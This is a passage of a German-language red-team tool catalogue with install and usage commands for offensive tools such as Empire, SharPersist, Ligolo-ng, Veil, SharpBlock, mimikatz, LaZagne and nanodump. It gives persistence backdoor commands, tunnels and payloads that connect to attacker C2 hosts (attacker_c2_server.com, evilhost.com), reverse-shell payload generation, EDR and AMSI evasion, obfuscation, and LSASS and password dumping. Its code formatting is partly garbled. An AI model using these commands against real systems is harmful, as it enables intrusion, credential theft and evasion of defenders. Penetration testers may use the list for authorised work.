Sobald ein Payload auf einem Opfersystem ausgeführt wurde, stellt es eine Verbindung zum Empire-Server her, der dann verwendet werden kann, um Befehle zu erteilen und das Zielsystem zu kontrollieren.
Empire enthält außerdem eine Reihe integrierter Module und Skripte, die zur Durchführung spezifischer Aufgaben verwendet werden können, wie z. B. das Auslesen von Passwort-Hashes, den Zugriff auf die Windows-Registrierung und das Exfiltrieren von Daten.
**Installation:**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Verwendung:```bash
./empire
list agents
list listeners
Nützlicher Spickzettel [cheat sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) von [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Ein Windows-Persistenz-Toolkit, geschrieben in C#.
Das Projekt hat ein [Wiki](https://github.com/mandiant/SharPersist/wiki).
**Installation: (Binary)**
Sie finden die neueste Version [hier](https://github.com/mandiant/SharPersist/releases).
**Installation: (Kompilieren)**
- Laden Sie die Projektdateien aus dem [GitHub-Repo](https://github.com/mandiant/SharPersist) herunter.
- Laden Sie das Visual Studio-Projekt und gehen Sie zu "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Gehen Sie zu "NuGet Package Manager" --> "Package Sources"
- Fügen Sie eine Paketquelle mit der URL "https://api.nuget.org/v3/index.json" hinzu
- Installieren Sie das NuGet-Paket Costura.Fody. Die ältere Version von Costura.Fody (3.3.3) wird benötigt, damit Sie kein Visual Studio 2019 benötigen.
- `Install-Package Costura.Fody -Version 3.3.3`
- Installieren Sie das TaskScheduler-Paket
- `Install-Package TaskScheduler -Version 2.8.11`
- Sie können das Projekt jetzt selbst erstellen!
**Verwendung:**
Eine vollständige Liste der Verwendungsbeispiele finden Sie [hier](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng ist ein einfaches, leichtes und schnelles Tool, das es Pentestern ermöglicht, Tunnel über eine reverse TCP/TLS-Verbindung unter Verwendung einer tun-Schnittstelle aufzubauen (ohne die Notwendigkeit von SOCKS).
Anstatt einen SOCKS-Proxy oder TCP/UDP-Weiterleitungen zu verwenden, erstellt Ligolo-ng einen Userspace-Netzwerkstack mit Gvisor.
Beim Ausführen des Relay/Proxy-Servers wird eine tun-Schnittstelle verwendet; Pakete, die an diese Schnittstelle gesendet werden, werden übersetzt und dann an das entfernte Netzwerk des Agents übertragen.
Installation: (Download)
Vorkompilierte Binärdateien (Windows/Linux/macOS) sind auf der Release-Seite verfügbar.
Installation: (Erstellen)
Ligolo-ng erstellen (Go >= 1.17 erforderlich):```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Einrichtung: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Einrichtung: (Windows)
Sie müssen den Wintun-Treiber herunterladen (verwendet von WireGuard) und die wintun.dll im selben Ordner wie Ligolo ablegen (stellen Sie sicher, dass Sie die richtige Architektur verwenden).
Einrichtung: (Proxy-Server)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Verwendung:**
_Starten Sie den Agenten auf dem Zielcomputer (Opfercomputer) (keine Berechtigungen erforderlich!):_```bash
./agent -connect attacker_c2_server.com:11601
Eine Sitzung sollte auf dem Proxy-Server erscheinen.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Verwenden Sie den session-Befehl, um den Agenten auszuwählen.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Die vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/nicocha30/ligolo-ng#demo
LinPEAS ist ein schönes, ausführliches Tool zur Privilegieneskalation, um lokale Privesc-Pfade auf Linux-Endpunkten zu finden.
Installation + Verwendung:```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS ist ein schönes, ausführliches Privilegieneskalations-Tool zum Auffinden lokaler Privesc-Pfade auf Windows-Endpunkten.
**Installation + Verwendung:**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration ist ein weiteres gutes, weniger ausführliches Linux-Privesc-Tool für Linux.
Installation + Verwendung:```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify ist ein C#-Tool, um Fehlkonfigurationen in Active Directory Certificate Services (AD CS) aufzulisten und auszunutzen.
Certify ist dafür ausgelegt, zusammen mit anderen Red-Team-Tools und -Techniken wie Mimikatz und PowerShell eingesetzt zu werden, um Red Teamern die Durchführung verschiedener Angriffsarten zu ermöglichen, darunter Man-in-the-Middle-Angriffe, Identitätswechselangriffe und Privilegieneskalationsangriffe.
**Hauptfunktionen von Certify:**
- Zertifikaterstellung
- Zertifikatsignierung
- Zertifikatimport
- Zertifikatvertrauensänderung
**Installation: (Kompilieren)**
Certify ist kompatibel mit [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie das Certify-Projekt [.sln](https://github.com/GhostPack/Certify), wählen Sie "Release" und erstellen Sie es.
**Installation: (Certify über PowerShell ausführen)**
Wenn Sie Certify über einen PowerShell-Wrapper im Arbeitsspeicher ausführen möchten, kompilieren Sie zunächst Certify und codieren Sie die resultierende Assembly base64:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify kann dann in einem PowerShell-Skript mit folgendem Befehl geladen werden (wobei "aa..." durch den base64-codierten Certify-Assembly-String ersetzt wird):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Die Main()-Methode und beliebige Argumente können dann wie folgt aufgerufen werden:```
[Certify.Program]::Main("find /vulnerable".Split())
Vollständige Kompilierungsanweisungen finden Sie hier.
Verwendung:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Eine vollständige Beispiel-Walkthrough finden Sie [hier](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword ist ein PowerShell-Skript, das Teil des PowerSploit-Toolkits ist. Es wurde entwickelt, um Passwörter für lokale Konten abzurufen, die mithilfe von Gruppenrichtlinienpräferenzen (GPP) erstellt und verwaltet werden.
Get-GPPPassword durchsucht den SYSVOL-Ordner auf dem Domänencontroller nach GPP-Dateien, die Passwortinformationen enthalten. Sobald es diese Dateien findet, entschlüsselt es die Passwortinformationen und zeigt sie dem Benutzer an.
**Install:**
Folgen Sie den PowerSploit [Installationsanweisungen](https://github.com/A-poc/RedTeam-Tools#powersploit) aus diesem Toolblatt.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Verwendung:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
PowerShell-Skript, um schnell fehlende Software-Patches für lokale Privilegieneskalations-Schwachstellen zu finden.
_Unterstützt:_
- MS10-015 : User Mode to Ring (KiTrap0D)
- MS10-092 : Task Scheduler
- MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
- MS13-081 : TrackPopupMenuEx Win32k NULL Page
- MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Font Driver Buffer Overflow
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Secondary Logon Handle
- MS16-034 : Windows Kernel-Mode Drivers EoP
- MS16-135 : Win32k Elevation of Privilege
- CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc
**Installation: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Verwendung: (PowerShell)```bash
Find-AllVulns
Find-MS14058
_Bild verwendet von https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/_
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson ist ein .NET-Tool, das fehlende KBs auflistet und Exploits für Privilege Escalation-Schwachstellen vorschlägt.
Ideal zum Identifizieren fehlender Patches und Vorschlagen von Exploits, die zur Ausnutzung bekannter Schwachstellen verwendet werden können, um höhere Berechtigungen auf dem System zu erlangen.
**Installation:**
Verwenden Sie die [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Öffnen Sie die [Watson-Projektmappe .sln](https://github.com/rasta-mouse/Watson), wählen Sie "Release" und erstellen Sie das Projekt.
**Verwendung:**```bash
# Run all checks
Watson.exe
Bildtext verwendet von https://github.com/rasta-mouse/Watson#usage
Ein auf C# basierendes Tool, das den Prozess des Auffindens und Ausnutzens von DLL-Hijacks in Zielbinärdateien automatisiert.
Die entdeckten gehijackten Pfade können während eines Einsatzes genutzt werden, um EDRs zu umgehen.
Installation:
Hinweis: Die Voraussetzungen i & ii sollten im Verzeichnis der ImpulsiveDLLHijacks.exe selbst abgelegt werden.
Build- und Setup-Informationen:
ImpulsiveDLLHijack
Und für die Bestätigungs-DLLs:
Einrichtung: Kopieren Sie die Bestätigungs-DLLs (maldll32 & maldll64) in das Verzeichnis der ImpulsiveDLLHijack.exe und führen Sie dann ImpulsiveDLLHijack.exe aus :))
Installationsanweisungen von https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Verwendung:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Anwendungsbeispiele finden sich [hier](https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples).
_Bild verwendet von https://github.com/knight0x07/ImpulsiveDLLHijack#4-examples_
### [🔙](#tool-list)[ADFSDump](https://github.com/mandiant/ADFSDump)
Ein C#-Tool zum Auslesen allerlei nützlicher Informationen aus AD FS.
Erstellt von Doug Bienstock [@doughsec](https://twitter.com/doughsec) während seiner Zeit bei Mandiant FireEye.
Dieses Tool ist für den Einsatz zusammen mit ADFSpoof konzipiert. ADFSdump gibt alle benötigten Informationen aus, um mit ADFSpoof Sicherheitstoken zu generieren.
**Anforderungen:**
- ADFSDump muss im Benutzerkontext des AD FS-Dienstkontos ausgeführt werden. Diese Informationen erhalten Sie durch Auflisten der Prozesse auf dem AD FS-Server oder aus der Ausgabe des Cmdlets Get-ADFSProperties.
- Nur das AD FS-Dienstkonto verfügt über die erforderlichen Berechtigungen, um auf die Konfigurationsdatenbank zuzugreifen. Nicht einmal ein Domänenadministrator (DA) kann darauf zugreifen.
- ADFSDump geht davon aus, dass der Dienst für die Verwendung der Windows Internal Database (WID) konfiguriert ist. Obwohl es trivial wäre, einen externen SQL-Server zu unterstützen, existiert diese Funktion derzeit nicht.
- ADFSDump muss lokal auf einem AD FS-Server ausgeführt werden, NICHT auf einem AD FS-Webanwendungsproxy. Die WID kann nur lokal über eine Named Pipe erreicht werden.
**Installation: (Kompilieren)**
ADFSDump wurde mit Visual Studio 2017 Community Edition gegen .NET 4.5 erstellt. Öffnen Sie einfach die Projektdatei .sln, wählen Sie "Release" und erstellen Sie die Lösung.
**Verwendung: (Flags)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog – Den Golden-SAML-Angriff gegen ADFS erkunden
Bild verwendet von https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
Ein PowerShell v2.0+ kompatibler PowerShell-Befehls- und Skript-Obfuskator. Wenn ein Opfer-Endpunkt in der Lage ist, PowerShell auszuführen, ist dieses Tool ideal zum Erstellen stark obfuskierten Skripte.
Installation:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Verwendung:**```bash
./Invoke-Obfuscation
Veil ist ein Werkzeug zur Generierung von Metasploit-Payloads, die gängige Antivirenlösungen umgehen.
Es kann zur Erzeugung von verschleiertem Shellcode verwendet werden. Weitere Informationen finden Sie im offiziellen Veil-Framework-Blog.
Installation: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Installation: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Verwendung:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Die Veil-Entwickler haben einen netten [Blogbeitrag](https://www.veil-framework.com/veil-command-line-usage/) geschrieben, der die weitere Verwendung von Ordnance und Evasion über die Befehlszeile erklärt.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Eine Methode zur Umgehung der aktiven Projektions-DLLs von EDR, indem die Ausführung des Einstiegspunkts verhindert wird.
**Features:**
- Blockiert die Ausführung des Einstiegspunkts von EDR-DLLs, was verhindert, dass EDR-Hooks platziert werden.
- Patchloser AMSI-Bypass, der für Scanner, die zur Laufzeit nach Amsi.dll-Codepatches suchen, nicht erkennbar ist.
- Hostprozess, der durch ein implantierbares PE ersetzt wird, das von Festplatte, HTTP oder Named Pipe (Cobalt Strike) geladen werden kann.
- Der implantierte Prozess ist versteckt, um Scanner zu umgehen, die nach ausgehöhlten Prozessen suchen.
- Befehlszeilenargumente werden gefälscht und nach der Prozesserstellung mit einer heimlichen EDR-Erkennungsmethode implantiert.
- Patchloser ETW-Bypass.
- Blockiert den Aufruf von NtProtectVirtualMemory, wenn der Aufgerufene sich im Adressraum einer blockierten DLL befindet.
**Install:**
Verwenden Sie die [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/), um die SharpBlock-Binärdatei zu kompilieren.
Öffnen Sie die SharpBlock [Projekt-.sln-Datei](https://github.com/CCob/SharpBlock), wählen Sie "Release" und erstellen Sie sie.
**Usage:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Nützlicher PenTestPartners Blogbeitrag hier.
Bild verwendet von https://youtu.be/0W9wkamknfM
Alcatraz ist ein GUI x64 Binary-Obfuscator, der verschiedene PE-Dateien verschleiern kann, darunter:
Einige unterstützte Verschleierungsfunktionen umfassen:
Installation: (Anforderungen)
Installieren: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Verwendung:**
Verwendung der GUI zur Obfuskation einer Binärdatei:
1. Laden Sie eine Binärdatei, indem Sie oben links auf `file` klicken.
2. Fügen Sie Funktionen hinzu, indem Sie den `Functions`-Baum erweitern. (Sie können suchen, indem Sie den Namen in die Suchleiste oben eingeben)
3. Drücken Sie `compile` (**Hinweis:** _Das Obfuskieren vieler Funktionen kann einige Sekunden dauern_)
Bild verwendet von https://github.com/weak1337/Alcatraz
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle ist ein Tool, das Aspekte von kompilierten ausführbaren Dateien (.exe oder DLL) manipuliert.
Mangle kann bekannte indicator-of-Compromise-basierte (IoC) Zeichenfolgen entfernen und durch zufällige Zeichen ersetzen, die Datei durch Vergrößerung der Größe ändern, um EDRs zu umgehen, und Code-Signatur-Zertifikate von legitimen Dateien klonen.
Dadurch hilft Mangle Ladeprogrammen, On-Disk- und In-Memory-Scanner zu umgehen.
**Installation:**
Der erste Schritt ist wie immer das Klonen des Repos. Bevor Sie Mangle kompilieren, müssen Sie die Abhängigkeiten installieren. Führen Sie dazu die folgenden Befehle aus:```
go get github.com/Binject/debug/pe
Dann baue es``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Verwendung:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
Vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/optiv/Mangle
AMSI.fail ist eine großartige Website, mit der verschleierte PowerShell-Snippets generiert werden können, die AMSI für den aktuellen Prozess deaktivieren oder umgehen.
Die Snippets werden zufällig aus einem kleinen Pool von Techniken/Variationen ausgewählt und dann verschleiert. Jedes Snippet wird zur Laufzeit/auf Anfrage verschleiert, sodass keine generierte Ausgabe dieselben Signaturen aufweist.
Nützlicher f-secure Blog, der AMSI erklärt hier.
Bild verwendet von http://amsi.fail/
Hervorragendes Tool, um Zugriff auf gehashte und Klartext-Passwörter auf einem Opfer-Endpunkt zu erhalten. Sobald Sie privilegierten Zugriff auf ein System erlangt haben, nutzen Sie dieses Tool, um einige Anmeldedaten zu sammeln.
Installation:
mimikatz.exe im Ordner x64.Verwendung:```bash .\mimikatz.exe privilege::debug
### [🔙](#tool-list)[LaZagne](https://github.com/AlessandroZ/LaZagne)
Nützliches Tool zum Extrahieren lokal gespeicherter Passwörter aus Browsern, Datenbanken, Spielen, E‑Mail, Git, WLAN usw.
**Installation: (Binärdatei)**
Sie können die eigenständige Binärdatei von [hier](https://github.com/AlessandroZ/LaZagne/releases/) installieren.
**Verwendung:**```bash
# Launch all modes
.\laZagne.exe all
# Launch only a specific module
.\laZagne.exe browsers
# Launch only a specific software script
.\laZagne.exe browsers -firefox
Tool zum Knacken von Passwort-Hashes. Unterstützt eine große Liste von Hash-Algorithmen (Die vollständige Liste finden Sie hier).
Install: Binary
Sie können das Standalone-Binary von hier installieren.
Usage:```bash .\hashcat.exe --help
Netter hashcat-Befehl [Spickzettel](https://cheatsheet.haax.fr/passcracking-hashfiles/hashcat_cheatsheet/).
### [🔙](#tool-list)[John the Ripper](https://github.com/openwall/john)
Ein weiterer Passwortknacker, der Hunderte von Hash- und Chiffretypen unterstützt und auf vielen Betriebssystemen, CPUs und GPUs läuft.
**Installation:**```bash
sudo apt-get install john -y
Verwendung:```bash john
### [🔙](#tool-list)[SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt)
Dieses Tool dient zum Abrufen und Entschlüsseln von RunAs-Anmeldeinformationen, die in Microsoft System Center Operations Manager (SCOM)-Datenbanken gespeichert sind.
NCC-Blogbeitrag – [„SCOMplicated? – Decrypting SCOM “RunAs” credentials“](https://research.nccgroup.com/2017/02/23/scomplicated-decrypting-scom-runas-credentials/)
**Voraussetzungen:**
Um das Tool auszuführen, benötigen Sie Administratorrechte auf dem SCOM-Server. Sie müssen außerdem sicherstellen, dass Sie Lesezugriff auf den folgenden Registrierungsschlüssel haben:```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins
Sie können manuell überprüfen, ob Sie die Datenbank sehen können, indem Sie die Verbindungsdetails aus den folgenden Schlüsseln sammeln:``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName
**Installieren: (PS1)**```
git clone https://github.com/nccgroup/SCOMDecrypt
cd .\SCOMDecrypt\SCOMDecrypt\
. .\Invoke-SCOMDecrypt.ps1
Installation: (Kompilieren)
Mit Visual Studio 2019 Community Edition können Sie die SCOMDecrypt-Binärdatei kompilieren.
Öffnen Sie die SCOMDecrypt Projekt .sln, wählen Sie 'Release', und erstellen Sie.
Nutzung:```bash
Invoke-SCOMDecrypt
.\SCOMDecrypt.exe
_Bildtext verwendet von https://github.com/nccgroup/SCOMDecrypt_
### [🔙](#tool-list)[nanodump](https://github.com/helpsystems/nanodump)
Der LSASS (Local Security Authority Subsystem Service) ist ein Systemprozess im Windows-Betriebssystem, der für die Durchsetzung der Sicherheitsrichtlinie auf dem System zuständig ist. Er ist für eine Reihe von sicherheitsrelevanten Aufgaben verantwortlich, darunter die Authentifizierung von Benutzern für die Anmeldung, die Durchsetzung von Sicherheitsrichtlinien und die Erstellung von Audit-Logs.
Das Erstellen eines Dumps dieses Prozesses kann es einem Angreifer ermöglichen, Passwort-Hashes oder andere sensible Informationen aus dem Speicher des Prozesses zu extrahieren, die für eine weitere Kompromittierung des Systems verwendet werden könnten.
Dies ermöglicht die Erstellung eines Minidumps des LSASS-Prozesses.
**Installation:**```bash
git clone https://github.com/helpsystems/nanodump.git
Installieren: (Linux with MinGW)```bash make -f Makefile.mingw
**Installieren: (Windows mit MSVC)**```bash
nmake -f Makefile.msvc
Installation: (nur CobaltStrike)
Importieren Sie das Skript NanoDump.cna in Cobalt Strike.
Vollständige Installationsinformationen finden Sie hier.
Verwendung:```bash
nanodump.x64.exe
nanodump --silent-process-exit C:\Windows\Temp\
nanodump --shtinkering
Die vollständige Nutzungsinformationen finden Sie [hier](https://github.com/helpsystems/nanodump#1-usage).
_Bild verwendet von https://github.com/helpsystems/nanodump_
### [🔙](#tool-list)[eviltree](https://github.com/t3l3machus/eviltree)
Ein eigenständiger Python3-Nachbau des klassischen "tree"-Befehls mit der zusätzlichen Funktion, nach benutzerdefinierten Schlüsselwörtern/Regex in Dateien zu suchen und diejenigen hervorzuheben, die Treffer enthalten. Entwickelt aus zwei Hauptgründen:
- Bei der Suche nach Geheimnissen in Dateien von verschachtelten Verzeichnisstrukturen bietet es einen erheblichen Vorteil, visualisieren zu können, welche Dateien vom Benutzer bereitgestellte Schlüsselwörter/Regex-Muster enthalten und wo sich diese Dateien in der Hierarchie der Ordner befinden.
- `tree` ist ein großartiges Werkzeug zur Analyse von Verzeichnisstrukturen. Es ist sehr praktisch, eine eigenständige Alternative des Befehls für die Post-Exploitation-Erkundung zu haben, da es nicht auf jeder Linux-Distribution vorinstalliert ist und unter Windows (im Vergleich zur UNIX-Version) etwas eingeschränkt ist.
**Installation:**```bash
git clone https://github.com/t3l3machus/eviltree
Verwendung:```bash
python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=]{1}.{0,18}" -v
python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account,login,user -L 3 -v
_Image used from https://github.com/t3l3machus/eviltree_
### [🔙](#tool-list)[SeeYouCM-Thief](https://github.com/trustedsec/SeeYouCM-Thief)
Einfaches Werkzeug zum automatischen Herunterladen und Parsen von Konfigurationsdateien aus Cisco-Telefonsystemen auf der Suche nach SSH-Anmeldeinformationen.
Wird optional auch Active Directory-Benutzer über die UDS-API aufzählen.
[Blog - Ausnutzung häufiger Fehlkonfigurationen in Cisco-Telefonsystemen](https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/)
**Installation:**```bash
git clone https://github.com/trustedsec/SeeYouCM-Thief
python3 -m pip install -r requirements.txt
Verwendung:```bash
./thief.py -H --userenum
./thief.py -H [--verbose]
./thief.py --phone [--verbose]
./thief.py --subnet [--verbose]
_Bild verwendet von https://www.trustedsec.com/blog/seeyoucm-thief-exploiting-common-misconfigurations-in-cisco-phone-systems/_
### [🔙](#tool-list)[MailSniper](https://github.com/dafthack/MailSniper)
MailSniper ist ein Penetrationstest-Werkzeug zum Durchsuchen von E-Mails in einer Microsoft Exchange-Umgebung nach bestimmten Begriffen (Passwörter, Insider-Informationen, Netzwerkarchitektur-Details usw.). Es kann von einem nicht-administrativen Benutzer verwendet werden, um die eigenen E-Mails zu durchsuchen, oder von einem Exchange-Administrator, um die Postfächer aller Benutzer in einer Domäne zu durchsuchen.
MailSniper enthält außerdem zusätzliche Module für Password Spraying, das Aufzählen von Benutzern und Domänen, das Abrufen der globalen Adressliste (GAL) über OWA und EWS sowie die Überprüfung der Postfachberechtigungen für jeden Exchange-Benutzer in einer Organisation.
Ein netter Blogbeitrag mit weiteren Informationen [hier](https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/).
[MailSniper Field Manual](http://www.dafthack.com/files/MailSniper-Field-Manual.pdf)
**Installation:**```
git clone https://github.com/dafthack/MailSniper
cd MailSniper
Import-Module MailSniper.ps1
Verwendung:```bash
Invoke-SelfSearch -Mailbox [email protected]
_Bild von https://patrowl.io/_
# Erkennung
### [🔙](#tool-list)[PCredz](https://github.com/lgandx/PCredz)
Dieses Tool extrahiert Kreditkartennummern, NTLM (DCE-RPC, HTTP, SQL, LDAP, usw.), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, usw. aus einer pcap-Datei oder von einer Live-Schnittstelle.
**Installation:**```bash
git clone https://github.com/lgandx/PCredz
Verwendung: (PCAP-Dateiordner)```python python3 ./Pcredz -d /tmp/pcap-directory-to-parse/
**Verwendung:** (Live-Erfassung)```python
python3 ./Pcredz -i eth0 -v
Ping Castle ist ein Tool, das entwickelt wurde, um schnell die Sicherheitsstufe von Active Directory mit einer auf Risikobewertung und einem Reifegradmodell basierenden Methodik zu beurteilen. Es zielt nicht auf eine perfekte Bewertung ab, sondern eher auf einen Effizienzkompromiss.
Installation: (Download)``` https://github.com/vletoux/pingcastle/releases/download/2.11.0.1/PingCastle_2.11.0.1.zip
**Verwendung:**```python
./PingCastle.exe
Seatbelt ist ein nützliches Tool, um detaillierte Informationen über die Sicherheitslage eines Ziel-Windows-Systems zu sammeln und so potenzielle Schwachstellen und Angriffsvektoren zu identifizieren.